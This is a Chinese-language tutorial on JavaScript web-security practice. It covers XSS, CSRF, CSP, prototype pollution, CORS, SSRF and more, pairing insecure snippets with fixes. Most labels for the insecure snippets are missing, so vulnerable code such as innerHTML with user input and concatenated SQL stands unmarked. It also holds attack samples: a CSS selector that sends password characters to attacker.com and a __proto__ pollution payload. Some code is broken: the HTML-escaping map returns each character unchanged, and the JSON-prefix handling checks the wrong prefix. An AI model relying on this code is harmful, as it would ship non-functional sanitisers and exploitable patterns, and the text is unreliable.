
随着Web应用变得越来越复杂,JavaScript安全问题变得比以往任何时候都更加重要。一个安全漏洞可能导致用户数据泄露、会话劫持甚至整个系统被攻陷。 在这篇文章中,我将分享JavaScript安全的最佳实践,涵盖XSS攻击防御、CSRF防护、安全数据处理等关键领域。 无论你是初级开发者还是资深工程师,这些实践都将帮助你构建更安全的Web应用。
1. 防范跨站脚本攻击(XSS)
XSS攻击是最常见的安全漏洞之一,攻击者通过在页面注入恶意脚本,窃取用户数据或执行未授权操作。防御XSS攻击需要多层次的防护策略。
document.getElementById('output').innerHTML = userInput;
// 安全做法:使用textContent替代innerHTML
document.getElementById('output').textContent = userInput;
// 使用DOMPurify库净化HTML内容
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(userInput);
document.getElementById('output').innerHTML = cleanHTML;
XSS攻击防护
对用户输入进行严格验证和转义
使用安全的DOM操作方法
设置Content Security Policy
关键警示
永远不要信任用户输入!所有来自用户的数据都应被视为不可信的,必须经过验证和清理。
2. 防止跨站请求伪造(CSRF)
CSRF攻击诱使用户在不知情的情况下执行恶意操作。有效的防护策略包括使用CSRF令牌和SameSite Cookie属性。
const csrfToken = generateSecureToken();
res.cookie('csrfToken', csrfToken, {
httpOnly: true,
secure: true,
sameSite: 'Strict'
});
// 在表单中包含CSRF令牌
<form>
<input type="hidden" name="csrfToken" value="<%= csrfToken %>">
<!-- 表单其他字段 -->
</form>
// 服务器验证CSRF令牌
if (req.body.csrfToken !== req.cookies.csrfToken) {
return res.status(403).send('Invalid CSRF token');
}
CSRF防护策略
为所有状态修改请求使用CSRF令牌
设置Cookie的SameSite属性
验证请求来源头(Origin/Referer)
3. 安全处理用户输入
正确处理用户输入是Web安全的基石。这包括输入验证、输出编码和上下文相关的处理。
function validateEmail(email) {
const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return re.test(email);
}
// 输出编码函数
function encodeHTML(str) {
return str.replace(/[&<>"']/g, function(match) {
return {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}[match];
});
}
// 在上下文中使用
const userInput = '<script>alert("XSS")</script>';
const safeOutput = encodeHTML(userInput);
document.getElementById('output').textContent = safeOutput;
输入处理原则
验证:检查输入是否符合预期格式
清理:移除或转义危险字符
上下文编码:根据输出位置使用不同编码
4. 使用内容安全策略(CSP)
内容安全策略(CSP)是一个强大的安全层,有助于检测和缓解某些类型的攻击,包括XSS和数据注入攻击。
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted.cdn.com;
img-src 'self' data: https://images.unsplash.com;
style-src 'self' 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-src 'none';
object-src 'none';
// 在HTML meta标签中设置CSP
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline';">
CSP最佳实践
使用default-src 'self'作为默认策略
避免使用'unsafe-inline'和'unsafe-eval'
使用nonce或hash允许特定内联脚本
5. 安全使用Cookie
Cookie中经常包含敏感信息,如会话标识符。不安全的Cookie处理可能导致会话劫持。
Set-Cookie: sessionId=abc123;
HttpOnly;
Secure;
SameSite=Strict;
Path=/;
Max-Age=2592000; // 30天
// JavaScript设置安全Cookie
document.cookie = `sessionId=abc123; ` +
`Secure; ` +
`SameSite=Strict; ` +
`Path=/; ` +
`Max-Age=2592000`;
安全Cookie设置
HttpOnly: 防止JavaScript访问
Secure: 仅通过HTTPS传输
SameSite: 防止CSRF攻击
6. 安全使用第三方库
现代Web应用大量使用第三方库,这些库可能成为攻击向量。需要谨慎选择和管理依赖项。
$ npm audit
// 修复漏洞
$ npm audit fix
// 使用子资源完整性(SRI)验证CDN资源
<script src="https://cdn.example.com/library.js"
integrity="sha384-..."
crossorigin="anonymous"></script>
依赖管理策略
定期更新依赖库
使用SRI验证外部资源
审查依赖库的安全记录
7. 使用安全HTTP头部
HTTP安全头部提供额外的安全层,防止多种类型的攻击。
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=()
// 在Node.js/Express中设置安全头部
app.use(helmet());
关键安全头部
HSTS: 强制使用HTTPS
X-Frame-Options: 防止点击劫持
X-Content-Type-Options: 防止MIME类型嗅探
8. 保护敏感数据
前端代码中可能包含敏感信息,如API密钥。需要采取措施防止这些信息泄露。
const API_KEY = 'sk_live_1234567890abcdef';
// 正确做法:使用后端代理API请求
// 前端请求自己的服务器
fetch('/api/proxy-external', {
method: 'POST',
body: JSON.stringify({ query: '...' })
});
// 后端服务器转发请求并添加密钥
app.post('/api/proxy-external', async (req, res) => {
const response = await fetch('https://external.api.com', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${process.env.API_KEY}`
},
body: JSON.stringify(req.body)
});
const data = await response.json();
res.json(data);
});
敏感数据保护
永远不要在前端存储API密钥
使用环境变量和后端代理
避免在客户端存储敏感信息
9. 安全错误处理
不当的错误处理可能泄露敏感信息,为攻击者提供有价值的信息。
app.use(function(err, req, res, next) {
// 生产环境中不应显示错误详情
res.status(500).send(err.stack);
});
// 安全做法:通用错误响应
app.use(function(err, req, res, next) {
if (process.env.NODE_ENV === 'development') {
// 开发环境显示详细错误
res.status(500).json({
error: err.message,
stack: err.stack
});
} else {
// 生产环境显示通用错误
res.status(500).send('发生错误,请稍后再试');
}
});
// 客户端错误处理
try {
// 可能出错的代码
} catch (error) {
// 向用户显示友好信息
showUserFriendlyError();
// 记录详细错误到日志系统
logError(error);
}
错误处理原则
生产环境不显示详细错误
记录错误到安全日志系统
向用户显示友好通用信息
10. 实施安全审计和测试
安全是一个持续的过程,需要定期审计和测试来发现潜在漏洞。
$ npm install -g snyk
$ snyk test
$ snyk monitor
// 使用OWASP ZAP进行渗透测试
// 1. 下载并启动OWASP ZAP
// 2. 配置目标URL
// 3. 运行自动扫描
// 4. 分析报告并修复问题
// 安全测试框架Jest示例
test('XSS漏洞测试', () => {
const maliciousInput = '<script>alert(1)</script>';
const safeOutput = sanitizeInput(maliciousInput);
expect(safeOutput).not.toContain('<script>');
});
安全测试策略
使用自动化安全扫描工具
定期进行渗透测试
将安全测试集成到CI/CD流程
11. 安全的客户端存储
客户端存储(如localStorage、sessionStorage)容易成为攻击目标,需要采取特殊防护措施。
localStorage.setItem('userToken', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');
// 安全做法:加密敏感数据
import CryptoJS from 'crypto-js';
const secretKey = 'secure-secret'; // 应从安全来源获取
const encryptedToken = CryptoJS.AES.encrypt(
token,
secretKey
).toString();
localStorage.setItem('userToken', encryptedToken);
// 读取时解密
const encrypted = localStorage.getItem('userToken');
const decrypted = CryptoJS.AES.decrypt(
encrypted,
secretKey
).toString(CryptoJS.enc.Utf8);
客户端存储安全原则
避免存储敏感信息(如密码)
存储前加密所有重要数据
设置合理的过期时间
使用HttpOnly Cookies替代存储令牌
重要提示
永远不要在前端存储未加密的敏感数据!即使加密,也要假设客户端存储可能被窃取。
12. 防范点击劫持攻击
点击劫持(Clickjacking)是一种视觉欺骗技术,诱使用户点击隐藏的恶意元素。
X-Frame-Options: DENY
// 更现代的替代方案:Content Security Policy
Content-Security-Policy: frame-ancestors 'self';
// JavaScript防御技术:框架破坏脚本
if (top !== self) {
// 如果页面被嵌套在iframe中
top.location = self.location; // 强制跳出框架
}
// 更健壮的框架破坏实现
const style = document.createElement('style');
style.innerHTML = 'body { display: none !important; }';
document.head.appendChild(style);
if (self === top) {
document.body.style.display = 'block';
} else {
top.location = self.location;
}
点击劫持防护策略
使用X-Frame-Options头
设置CSP的frame-ancestors指令
对敏感操作使用CAPTCHA验证
实现框架破坏脚本作为额外防护
13. 防范JSON劫持
JSON劫持是一种特殊的数据窃取技术,攻击者可以窃取JSON API返回的敏感数据。
[
{ "id": 1, "name": "张三", "email": "zhangsan@example.com" },
{ "id": 2, "name": "李四", "email": "lisi@example.com" }
]
// 安全做法1:添加前缀
while(1);
[
{ "id": 1, "name": "张三", "email": "zhangsan@example.com" },
...
]
// 安全做法2:使用对象包装
{
"data": [
{ "id": 1, "name": "张三", "email": "zhangsan@example.com" },
...
]
}
// 前端处理带前缀的JSON
fetch('/api/users')
.then(response => response.text())
.then(text => {
if (text.startsWith(')]}\',\n')) {
const json = JSON.parse(text.substring(5));
}
});
JSON安全最佳实践
避免JSON数组作为顶级元素
添加不可解析的前缀(如while(1);)
设置Content-Type为application/json
使用POST请求获取敏感数据
历史漏洞
JSON劫持曾影响Gmail等大型服务。现代浏览器已修复相关漏洞,但防御措施仍值得实施。
14. 防范开放重定向漏洞
开放重定向漏洞允许攻击者将用户重定向到恶意网站,常用于钓鱼攻击。
const redirectUrl = req.query.returnUrl;
res.redirect(redirectUrl);
// 安全做法1:验证重定向URL在白名单中
const safeRedirect = (url) => {
const allowedDomains = ['example.com', 'trusted-site.com'];
const domain = new URL(url).hostname;
if (allowedDomains.includes(domain)) {
return url;
}
return '/'; // 默认重定向
}
res.redirect(safeRedirect(req.query.returnUrl));
// 安全做法2:使用相对路径或映射ID
const redirectMap = {
home: '/',
profile: '/user/profile',
settings: '/user/settings'
};
const target = redirectMap[req.query.target] || '/';
res.redirect(target);
重定向安全原则
验证所有重定向目标URL
使用白名单允许的域名
避免直接使用用户提供的URL
使用映射ID代替完整URL
重要提示
开放重定向常被用于提高钓鱼攻击的成功率,因为用户更可能信任来自合法域名的重定向。
15. 防范依赖混淆攻击
依赖混淆攻击发生在攻击者发布与内部包同名的公共包,诱使安装恶意版本。
// package.json
{
"dependencies": {
"internal-utils": "^1.2.3" // 可能被恶意公共包取代
}
}
// 安全做法:使用作用域包
{
"dependencies": {
"@mycompany/internal-utils": "^1.2.3"
}
}
// 配置.npmrc确保使用私有仓库
@mycompany:registry=https://npm.mycompany.com
registry=https://registry.npmjs.org/
// 使用npm audit检查依赖
$ npm audit --production
依赖混淆防护策略
为所有内部包使用作用域名称
配置私有npm仓库
使用npm ci确保锁定依赖版本
定期审计依赖关系
16. 防范原型污染攻击
原型污染允许攻击者修改JavaScript对象的原型,可能导致拒绝服务或远程代码执行。
function merge(target, source) {
for (const key in source) {
if (source.hasOwnProperty(key)) {
target[key] = source[key];
}
}
return target;
}
// 攻击者可以污染Object原型
merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'));
// 安全做法1:使用Object.create(null)创建无原型对象
const safeObject = Object.create(null);
merge(safeObject, userInput);
// 安全做法2:使用Map代替Object
const safeMap = new Map();
safeMap.set('key', 'value');
原型污染防护
避免不安全的递归合并函数
使用Object.freeze()冻结敏感原型
使用无原型对象(Object.create(null))
使用Map/Set代替普通对象
高危漏洞
原型污染曾影响lodash、jQuery等流行库,被列为OWASP Top 10客户端安全风险。
17. 安全使用WebSockets
WebSocket连接需要与传统HTTP相同的安全考虑,同时面临新的攻击面。
const socket = new WebSocket('ws://example.com/chat');
// 安全做法1:使用wss://(TLS加密)
const socket = new WebSocket('wss://example.com/chat');
// 安全做法2:验证来源
socket.onmessage = (event) => {
try {
const data = JSON.parse(event.data);
// 验证消息结构
if (!isValidMessage(data)) {
throw new Error('Invalid message format');
}
// 处理消息...
} catch (error) {
console.error('Invalid message:', error);
}
};
// 服务器端:限制连接频率
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });
const connections = new Map();
wss.on('connection', (ws, req) => {
const ip = req.socket.remoteAddress;
const count = connections.get(ip) || 0;
if (count > 10) { // 限制每个IP的连接数
ws.close(1008, 'Too many connections');
return;
}
connections.set(ip, count + 1);
ws.on('close', () => {
connections.set(ip, Math.max(0, (connections.get(ip) || 0) - 1));
});
});
WebSocket安全原则
始终使用wss://(TLS加密)
验证消息格式和内容
实现速率限制防止滥用
使用身份验证令牌
18. 防范定时攻击
定时攻击通过测量操作时间差来推断敏感信息,如密码验证。
function unsafeCompare(a, b) {
if (a.length !== b.length) return false;
for (let i = 0; i < a.length; i++) {
if (a[i] !== b[i]) return false;
}
return true;
}
// 安全做法:恒定时间比较
function safeCompare(a, b) {
const bufferA = Buffer.from(a);
const bufferB = Buffer.from(b);
return crypto.timingSafeEqual(bufferA, bufferB);
}
// 使用HMAC进行安全比较
function compareWithHMAC(a, b, secret) {
const hmacA = crypto.createHmac('sha256', secret).update(a).digest();
const hmacB = crypto.createHmac('sha256', secret).update(b).digest();
return crypto.timingSafeEqual(hmacA, hmacB);
}
定时攻击防护
使用恒定时间比较算法
避免基于用户输入的过早返回
使用HMAC进行安全比较
引入随机延迟(谨慎使用)
高级威胁
定时攻击需要高精度测量,但在云环境和本地网络攻击中仍然可行,尤其对高价值目标。
19. 安全使用Web Workers
Web Workers在后台线程运行代码,需要特殊的安全考虑。
const worker = new Worker('worker.js');
worker.postMessage({
code: userProvidedCode // 可能包含恶意代码
});
// worker.js
self.onmessage = (e) => {
const result = eval(e.data.code); // 高危操作!
postMessage(result);
};
// 安全做法:使用沙箱模式
import { Worker, isMainThread, parentPort } from 'worker_threads';
import vm from 'vm';
if (!isMainThread) {
parentPort.on('message', (task) => {
try {
// 在沙箱中运行不受信任的代码
const context = vm.createContext({
console: { log: () => {} } // 限制可用API
});
const script = new vm.Script(task.code);
const result = script.runInContext(context);
parentPort.postMessage({ result });
} catch (error) {
parentPort.postMessage({ error: error.message });
}
});
}
Web Workers安全
避免在Worker中执行不受信任的代码
使用沙箱环境隔离执行
限制Worker可访问的API
验证Worker间传递的消息
20. 安全使用WebRTC
WebRTC提供实时通信能力,但可能暴露用户IP地址等敏感信息。
const pc = new RTCPeerConnection();
pc.createOffer().then(offer => pc.setLocalDescription(offer));
// 安全做法1:使用代理隐藏真实IP
const pc = new RTCPeerConnection({
iceServers: [
{
urls: ['turn:turn.example.com'],
username: 'user',
credential: 'pass'
}
]
});
// 安全做法2:限制数据通道权限
const dc = pc.createDataChannel('chat', {
negotiated: true,
id: 0,
ordered: true, // 保证消息顺序
maxPacketLifeTime: 3000 // 3秒超时
});
// 安全做法3:请求用户权限
navigator.mediaDevices.getUserMedia({
video: true,
audio: true
}).then(stream => {
// 处理媒体流
}).catch(error => {
console.error('Media access denied:', error);
});
WebRTC安全实践
使用TURN服务器隐藏客户端IP
限制数据通道的权限和能力
请求明确的用户媒体权限
使用DTLS-SRTP加密媒体流
隐私警告
WebRTC可能绕过VPN泄露真实IP地址,使用TURN中继是保护用户隐私的关键措施。
21. 防范DOM Clobbering攻击
DOM Clobbering是一种利用HTML元素覆盖JavaScript变量的攻击技术。
if (window.config) {
// 使用配置对象
}
<!-- 攻击者注入的HTML -->
<form id="config"></form>
<a id="config" name="admin" href="..."></a>
// 安全做法1:使用更严格的检查
if (typeof window.config === 'object' && !(window.config instanceof HTMLElement)) {
// 安全使用配置对象
}
// 安全做法2:使用Symbol创建唯一属性
const configSymbol = Symbol('config');
window[configSymbol] = { ... }; // 无法被HTML元素覆盖
DOM Clobbering防护
避免依赖全局命名空间
使用Symbol创建唯一标识符
严格检查对象类型
使用模块作用域代替全局变量
隐蔽攻击
DOM Clobbering常被用于绕过CSP策略,是高级XSS攻击的组成部分。
22. 安全的JWT实现
JSON Web Tokens(JWT)被广泛使用,但错误实现可能导致严重安全漏洞。
const token = jwt.sign({
userId: 123,
role: 'admin',
password: 'hashed-but-still-sensitive' // 不应包含在JWT中
}, secret);
// 安全做法:最小化payload
const token = jwt.sign({
sub: 'user123', // 唯一标识符
iat: Math.floor(Date.now() / 1000), // 签发时间
exp: Math.floor(Date.now() / 1000) + (60 * 60) // 1小时过期
}, secret, { algorithm: 'RS256' });
// 安全做法:使用适当的算法
// 避免使用HS256,使用RS256或更好的EdDSA
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
JWT安全最佳实践
最小化payload内容
设置短期有效期(exp)
使用强算法(RS256/EdDSA)
验证签名算法
安全存储令牌(HttpOnly Cookie)
23. 防范HTTP参数污染
攻击者通过提供多个同名参数来破坏应用程序逻辑。
/api/users?role=user&role=admin
// Express.js中req.query.role可能是数组
const role = req.query.role; // ['user', 'admin']
// 安全做法:规范化参数
function getSingleParam(param) {
if (Array.isArray(param)) {
return param[0]; // 或根据业务逻辑处理
}
return param;
}
// 安全做法:使用中间件
app.use((req, res, next) => {
for (const key in req.query) {
if (Array.isArray(req.query[key])) {
req.query[key] = req.query[key][0];
}
}
next();
});
参数污染防护
始终检查参数类型
规范化多值参数
使用参数白名单
实施严格的输入验证
24. 安全的CORS配置
错误的跨域资源共享(CORS)设置可能导致敏感数据泄露。
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true // 冲突设置
// 安全做法:动态验证来源
const allowedOrigins = ['https://example.com', 'https://trusted-site.com'];
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
// 安全做法:限制允许的方法和头部
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Max-Age', '86400'); // 24小时
CORS安全配置
避免使用通配符(*)与凭据
使用严格的白名单验证来源
限制允许的HTTP方法和头部
设置适当的Access-Control-Max-Age
常见错误
同时设置`Access-Control-Allow-Origin: *`和`Access-Control-Allow-Credentials: true`是无效且危险的配置。
25. 防范服务器端请求伪造(SSRF)
SSRF允许攻击者诱使服务器向内部系统发出恶意请求。
app.get('/fetch', (req, res) => {
const url = req.query.url;
fetch(url) // 可能访问内部资源
.then(response => response.text())
.then(data => res.send(data));
});
// 安全做法:验证和限制目标URL
const allowedDomains = ['example.com', 'trusted-site.com'];
const url = new URL(req.query.url);
if (!allowedDomains.includes(url.hostname)) {
return res.status(400).send('Invalid domain');
}
// 安全做法:使用DNS重绑定保护
const resolver = new dns.Resolver();
resolver.resolve4(url.hostname, (err, addresses) => {
if (isPrivateIP(addresses[0])) {
return res.status(403).send('Access to internal resources denied');
}
// 继续安全请求
});
SSRF防护策略
验证所有用户提供的URL
阻止访问内部IP地址
使用白名单限制目标域名
实施DNS重绑定保护
26. 安全的GraphQL实现
GraphQL的灵活性可能引入独特的安全挑战,如复杂查询攻击。
{
user(id: 123) {
friends {
friends {
friends { /* 递归攻击 */
id
}
}
}
}
}
// 安全做法:限制查询深度
const depthLimit = require('graphql-depth-limit');
const MAX_DEPTH = 5;
app.use('/graphql', graphqlExpress({
schema,
validationRules: [depthLimit(MAX_DEPTH)]
}));
// 安全做法:查询成本分析
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const complexityRules = createComplexityLimitRule(1000, {
onCost: (cost) => console.log(`Query cost: ${cost}`)
});
validationRules: [complexityRules]
GraphQL安全实践
限制查询深度和复杂性
实施查询成本分析
禁用内省在生产环境
使用持久化查询
27. 防范反向Tab劫持
反向Tab劫持允许恶意网站控制用户在其他标签页中的会话。
const win = window.open('https://target-site.com');
setTimeout(() => {
win.location = 'https://target-site.com/logout';
}, 5000);
// 防御方法:检查window.opener
if (window.opener) {
// 清除敏感数据
localStorage.clear();
sessionStorage.clear();
// 重定向到登录页
window.location = '/login';
}
// 安全做法:设置rel="noopener"
<a href="https://external.com" target="_blank" rel="noopener noreferrer">
安全链接
</a>
Tab劫持防护
所有外部链接添加rel="noopener"
检查window.opener并处理
使用Cross-Origin-Opener-Policy头
用户登出时清除所有存储数据
28. 安全的WebSocket消息处理
WebSocket消息需要像HTTP请求一样进行严格的验证和清理。
socket.on('message', (message) => {
const data = JSON.parse(message);
db.query(`SELECT * FROM users WHERE id = ${data.userId}`); // SQL注入!
});
// 安全做法:消息验证模式
const Joi = require('joi');
const messageSchema = Joi.object({
userId: Joi.number().integer().min(1).required(),
action: Joi.string().valid('join', 'leave').required()
});
socket.on('message', (message) => {
const { error, value } = messageSchema.validate(JSON.parse(message));
if (error) {
return socket.send(JSON.stringify({ error: 'Invalid message' }));
}
// 安全处理验证后的数据
});
WebSocket消息安全
验证所有传入消息的结构
使用模式验证库(如Joi)
限制消息大小和频率
使用参数化查询处理数据
29. 防范客户端路径遍历
客户端路径遍历允许攻击者访问应用程序的敏感文件或目录。
const filePath = `/user-uploads/${userInput}`;
fetch(filePath).then(...);
// 安全做法1:规范化并检查路径
const safeBasePath = '/user-uploads';
const resolvedPath = path.resolve(safeBasePath, userInput);
if (!resolvedPath.startsWith(safeBasePath)) {
throw new Error('Invalid file path');
}
// 安全做法2:使用文件ID代替路径
const fileId = sanitize(userInput); // 仅允许字母数字
fetch(`/api/files/${fileId}`);
路径遍历防护
避免直接使用用户输入构建路径
使用规范化函数解析路径
检查最终路径是否在允许目录内
使用文件ID代替原始路径
重要提示
客户端路径遍历常与服务器端漏洞结合使用,防御需要在客户端和服务器端同时实施。
30. 安全的WebAssembly使用
WebAssembly提供接近原生的性能,但需要特殊的安全考虑。
const importObject = {
env: {
memory: new WebAssembly.Memory({ initial: 256 }),
table: new WebAssembly.Table({ initial: 0, element: 'anyfunc' })
}
};
// 编译和实例化
WebAssembly.instantiateStreaming(fetch('module.wasm'), importObject)
.then(obj => {
// 使用模块
});
// 安全做法:验证WASM字节码
async function loadSafeWasm(url) {
const response = await fetch(url);
const buffer = await response.arrayBuffer();
if (!isValidWasm(buffer)) {
throw new Error('Invalid WASM module');
}
return WebAssembly.compile(buffer);
}
WebAssembly安全
沙箱化WASM模块执行环境
限制内存和CPU使用
验证WASM字节码完整性
使用可信来源的模块
31. 安全的Service Workers实现
Service Workers是强大的PWA技术,但错误的实现可能导致安全风险。
const userScript = getUserInput();
navigator.serviceWorker.register(userScript);
// 安全做法:仅注册同源脚本
if (location.origin === 'https://example.com') {
navigator.serviceWorker.register('/sw.js', {
scope: '/'
});
}
// 安全做法:设置内容安全策略
// Service Worker文件头部添加
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval'
Service Worker安全
仅注册同源脚本
限制作用域(scope)
实施严格的CSP策略
定期更新Service Worker
32. 防范基于缓存的攻击
浏览器缓存可能被用于窃取敏感信息或进行拒绝服务攻击。
app.get('/user', (req, res) => {
res.setHeader('Cache-Control', 'public, max-age=3600');
res.json({ user: req.user }); // 包含敏感信息
});
// 安全做法:谨慎设置缓存头
app.get('/user', (req, res) => {
res.setHeader('Cache-Control', 'private, no-store');
res.json({ user: sanitizedUserData });
});
// 安全做法:使用Vary头
res.setHeader('Vary', 'Cookie, Authorization');
缓存安全原则
敏感内容设置no-store
用户特定内容使用private
使用Vary头区分响应
定期清除敏感缓存
33. 安全的跨域通信
postMessage API需要谨慎使用以防止跨域攻击。
window.addEventListener('message', (event) => {
// 处理来自任何来源的消息
processMessage(event.data);
});
// 安全做法:严格验证来源
window.addEventListener('message', (event) => {
const allowedOrigin = 'https://trusted.com';
if (event.origin !== allowedOrigin) return;
// 验证消息结构
if (typeof event.data !== 'object') return;
if (!event.data.type || !event.data.payload) return;
processMessage(event.data);
});
postMessage安全
始终验证event.origin
使用严格的消息结构验证
限制消息类型和内容
避免处理序列化函数
关键风险
不安全的postMessage处理是XSS攻击的主要入口点之一,可能导致完全会话劫持。
34. 防范基于时间的攻击
时间攻击通过测量操作时间差来推断敏感信息,如密码验证。
function unsafeCompare(a, b) {
if (a.length !== b.length) return false;
for (let i = 0; i < a.length; i++) {
if (a[i] !== b[i]) return false;
}
return true;
}
// 安全做法:恒定时间比较
function safeCompare(a, b) {
const bufferA = Buffer.from(a);
const bufferB = Buffer.from(b);
return crypto.timingSafeEqual(bufferA, bufferB);
}
时间攻击防护
使用恒定时间比较算法
避免基于输入的提前返回
引入随机延迟(谨慎使用)
使用HMAC进行安全比较
35. 安全的WebRTC配置
WebRTC可能泄露用户IP地址,需要特殊配置保护隐私。
const pc = new RTCPeerConnection({
iceServers: [
{
urls: ['stun:stun.example.com']
},
{
urls: ['turn:turn.example.com'],
username: 'user',
credential: 'pass'
}
]
});
// 安全做法:限制IP暴露
pc.createOffer({
offerToReceiveAudio: true,
offerToReceiveVideo: true
}).then(offer => {
// 移除私有IP候选
const filteredOffer = removePrivateIPs(offer);
return pc.setLocalDescription(filteredOffer);
});
WebRTC隐私保护
始终使用TURN服务器
过滤SDP中的私有IP地址
使用VPN时禁用WebRTC
明确请求用户权限
36. 防范客户端SQL注入
使用WebSQL或客户端SQL库时,仍需要防范注入攻击。
const query = `SELECT * FROM users WHERE id = ${userId}`;
db.executeSql(query, [], (result) => {
// 处理结果
});
// 安全做法:使用参数化查询
const query = 'SELECT * FROM users WHERE id = ?';
db.executeSql(query, [userId], (result) => {
// 安全处理结果
});
// 安全做法:输入验证
if (!/^\d+$/.test(userId)) {
throw new Error('Invalid user ID');
}
客户端SQL安全
始终使用参数化查询
验证所有输入参数
限制数据库权限
避免动态表/列名
37. 安全的浏览器存储分区
第三方iframe中的存储可能被滥用,需要适当的分区策略。
// 在HTTP头中设置
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-site
// 安全做法:使用分区存储API
if ('storageBuckets' in navigator) {
const bucket = await navigator.storageBuckets.open('secure-bucket');
const localStorage = bucket.localStorage;
localStorage.setItem('token', 'secure-value');
}
存储分区策略
使用COOP/COEP头
利用Storage Buckets API
分离敏感数据存储
限制第三方存储访问
38. 防范基于CSS的攻击
CSS选择器和属性可能被用于窃取用户数据或进行UI欺骗。
input[type="password"][value^="a"] {
background-image: url("https://attacker.com/?char=a");
}
// 防御方法:使用CSP限制
Content-Security-Policy: style-src 'self' 'unsafe-inline';
// 安全做法:避免内联样式
<link rel="stylesheet" href="styles.css">
CSS安全实践
避免使用属性选择器处理敏感数据
限制外部样式表来源
使用nonce或hash内联样式
实施严格的CSP策略
39. 安全的Web组件实现
Web Components需要特别注意Shadow DOM中的安全边界。
class SecureElement extends HTMLElement {
constructor() {
super();
this.attachShadow({ mode: 'closed' });
this.shadowRoot.innerHTML = `
<style>:host { display: block; }</style>
<div>安全内容</div>
`;
}
}
// 安全做法:消毒模板内容
const template = document.createElement('template');
template.innerHTML = DOMPurify.sanitize(userContent);
this.shadowRoot.appendChild(template.content.cloneNode(true));
Web组件安全
使用封闭Shadow DOM模式
消毒所有动态内容
避免暴露内部元素
谨慎处理插槽(slot)内容
40. 防范基于Web Audio的攻击
Web Audio API可能被用于指纹识别或拒绝服务攻击。
const context = new AudioContext({
latencyHint: 'interactive',
sampleRate: 44100
});
context.suspend(); // 默认暂停
// 用户交互后启用
document.addEventListener('click', () => {
context.resume();
});
// 安全做法:限制处理节点
const MAX_NODES = 50;
const nodes = new Set();
function createSafeNode() {
if (nodes.size >= MAX_NODES) {
throw new Error('Too many audio nodes');
}
const node = context.createGain();
nodes.add(node);
return node;
}
Web Audio安全
需要用户交互才启用
限制并发音频处理节点
监控CPU使用情况
避免指纹识别技术
41. 安全的WebGL实现
WebGL提供强大的3D渲染能力,但可能引入安全风险。
const gl = canvas.getContext('webgl', {
powerPreference: 'low-power',
failIfMajorPerformanceCaveat: true,
preserveDrawingBuffer: false
});
// 安全做法:验证着色器来源
function compileShader(source, type) {
const shader = gl.createShader(type);
gl.shaderSource(shader, source);
gl.compileShader(shader);
if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
const error = gl.getShaderInfoLog(shader);
gl.deleteShader(shader);
throw new Error(`Shader compilation error: ${error}`);
}
return shader;
}
WebGL安全实践
使用低功耗模式
验证所有着色器代码
限制纹理尺寸
监控GPU内存使用
性能风险
恶意WebGL内容可能导致设备过热或浏览器崩溃,应实施严格的资源限制。